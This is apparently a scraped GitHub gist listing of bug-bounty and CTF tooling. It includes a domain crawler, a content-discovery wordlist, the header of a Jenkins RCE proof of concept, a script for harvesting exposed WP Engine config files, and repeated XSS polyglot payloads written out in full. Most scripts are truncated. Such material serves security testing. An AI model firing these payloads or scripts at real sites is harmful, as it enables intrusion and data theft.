bl4de / crawl-extract-resolve.sh

Created May 8, 2019 22:55 — forked from noraj/crawl-extract-resolve.sh

crawl a web page, extract all domains and resolve them to IP addresses with bash and common GNU/Linux tools

	#!/bin/bash

	url='rawsec.ml'

	domains=$(curl $url -s \| grep -E 'https?://[^"]*' \| cut -d '/' -f 3 \| cut -d '"' -f 1 \| uniq)

	filename='/tmp/temporary_ips.txt'

	for domain in $domains
	do

bl4de / content_discovery_nullenc0de.txt

Created April 24, 2019 05:47 — forked from nullenc0de/content_discovery_nullenc0de.txt

content_discovery_nullenc0de.txt

This file has been truncated, but you can view the full file.

	/
	$$$lang-translate.service.js.aspx
	$367-Million-Merger-Blocked.html
	$defaultnav
	${idfwbonavigation}.xml
	$_news.php
	$search2
	£º
	.0
	/0

bl4de / README.md

Created April 5, 2019 07:21 — forked from ajxchapman/README.md

Scripts developed for solving HackerOne H1-702 2019 CTF

image_extract.py performs character extraction on targetted against the HackerOne H1-702 CTF announcement image
decrypt_sqli.py performs blind sqli data extraction with encrypted payloads targetting against the FliteThermostat API
timing_attack.py performs an HTTP piplining based timing against the FliteThermostat Backend
wordlist_generator.py generates wordlists from a give corpus or set of corpuses
httplib.py performs efficient asynchronous HTTP requests against the FliteThermostat Backend

bl4de / generate.c

Created March 4, 2019 11:26 — forked from munificent/generate.c

A random dungeon generator that fits on a business card

	#include <time.h> // Robert Nystrom
	#include <stdio.h> // @munificentbob
	#include <stdlib.h> // for Ginny
	#define r return // 2008-2019
	#define l(a, b, c, d) for (i y=a;y\
	<b; y++) for (int x = c; x < d; x++)
	typedef int i;const i H=40;const i W
	=80;i m[40][80];i g(i x){r rand()%x;
	}void cave(i s){i w=g(10)+5;i h=g(6)
	+3;i t=g(W-w-2)+1;i u=g(H-h-2)+1;l(u

bl4de / CVE-2019-1003000-Jenkins-RCE-POC.py

Created February 18, 2019 16:07 — forked from adamyordan/CVE-2019-1003000-Jenkins-RCE-POC.py

CVE-2019-1003000-Jenkins-RCE-POC

	#!/usr/bin/python

	# Author: Adam Jordan
	# Date: 2019-02-15
	# Repository: https://github.com/adamyordan/cve-2019-1003000-jenkins-rce-poc
	# PoC for: SECURITY-1266 / CVE-2019-1003000 (Script Security), CVE-2019-1003001 (Pipeline: Groovy), CVE-2019-1003002 (Pipeline: Declarative)


	import argparse
	import jenkins

bl4de / introspection_urlencoded.txt

Created February 7, 2019 23:37 — forked from localh0t/introspection_urlencoded.txt

Introspection query from GraphQL-JS (URL-encoded)

%0A%20%20query%20IntrospectionQuery%20%7B%0A%20%20%20%20__schema%20%7B%0A%20%20%20%20%20%20queryType%20%7B%20name%20%7D%0A%20%20%20%20%20%20mutationType%20%7B%20name%20%7D%0A%20%20%20%20%20%20subscriptionType%20%7B%20name%20%7D%0A%20%20%20%20%20%20types%20%7B%0A%20%20%20%20%20%20%20%20...FullType%0A%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20directives%20%7B%0A%20%20%20%20%20%20%20%20name%0A%20%20%20%20%20%20%20%20description%0A%20%20%20%20%20%20%20%20locations%0A%20%20%20%20%20%20%20%20args%20%7B%0A%20%20%20%20%20%20%20%20%20%20...InputValue%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%7D%0A%20%20%20%20%7D%0A%20%20%7D%0A%0A%20%20fragment%20FullType%20on%20__Type%20%7B%0A%20%20%20%20kind%0A%20%20%20%20name%0A%20%20%20%20description%0A%20%20%20%20fields(includeDeprecated%3A%20true)%20%7B%0A%20%20%20%20%20%20name%0A%20%20%20%20%20%20description%0A%20%20%20%20%20%20args%20%7B%0A%20%20%20%20%20%20%20%20...InputValue%0A%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20type%20%7B%0A%20%20%20%20%20%20%20%20...TypeRef%0A

bl4de / wpeprivate-config.sh

Created January 23, 2019 08:46 — forked from hateshape/wpeprivate-config.sh

	#!/bin/bash
	# If you find a site with /_wpeprivate/config.json file exposed, run this and get all kinds of fun goodies.
	# If it "no worked" (Technical Term) then you probably need to install jq!

	TARGET=$1
	TARGETDOMAIN=$(echo $TARGET \| cut -d/ -f3)

	# Pretty Colors
	RESET='\033[00m'
	GREEN='\033[01;32m'

bl4de / polyglot_payloads

Created November 9, 2018 12:55

XSS polyglot payloads


	#jaVasCript:/-/`/\\`/'/\"//(/ */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\\x3csVg/<sVg/oNloAd=alert()//>\\x3e

	javascript://'/</title></style></textarea></script>--><p" %0A onclick=alert()//>/alert()/

	javascript://'/</title></style></textarea></script>--><p" %0D %0A onclick=alert(123)//>/alert()/<img src=x onerror=alert(456)/><svg/onload=prompt(789)/>;'"// :;fn();%0a%0d\n\r\t{{12*12+'Audi RS5'.substr(0,4)}}XXX<script>alert('XSS')

	javascript://'/</title></style></textarea></script>--><p" %0D %0A onclick=alert(123)//>/alert()/

	javascript:/--></title></style></textarea></script></xmp><svg/onload='+/"/+/onmouseover=1/+/[/[]/+alert(1)//'>

bl4de / index.html

Created November 1, 2018 14:10

Simple redirection app

	<html>
	<head>
	<title>Redirection</title>
	</head>
	<body>
	</div>
	<script>

	// imagine that read url from GET parameter routine goes here...
	// but we just hardcode it for now :)

bl4de / index.html

Created October 31, 2018 17:06

A simple website with dynamically added P element

	<html>
	<head>
	<title>Dynamic P Application</title>
	<style>
	* {
	font-size:18px;
	font-weight:bold;
	color: #2e2e2e;
	}
	</style>


	#jaVasCript:/-/`/\\`/'/\"//(/ */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\\x3csVg/<sVg/oNloAd=alert()//>\\x3e

	javascript://'/</title></style></textarea></script>--><p" %0A onclick=alert()//>/alert()/

	javascript://'/</title></style></textarea></script>--><p" %0D %0A onclick=alert(123)//>/alert()/<img src=x onerror=alert(456)/><svg/onload=prompt(789)/>;'"// :;fn();%0a%0d\n\r\t{{12*12+'Audi RS5'.substr(0,4)}}XXX<script>alert('XSS')

	javascript://'/</title></style></textarea></script>--><p" %0D %0A onclick=alert(123)//>/alert()/

	javascript:/--></title></style></textarea></script></xmp><svg/onload='+/"/+/onmouseover=1/+/[/[]/+alert(1)//'>

Rafal Janicki bl4de

Scripts developed for solving HackerOne H1-702 2019 CTF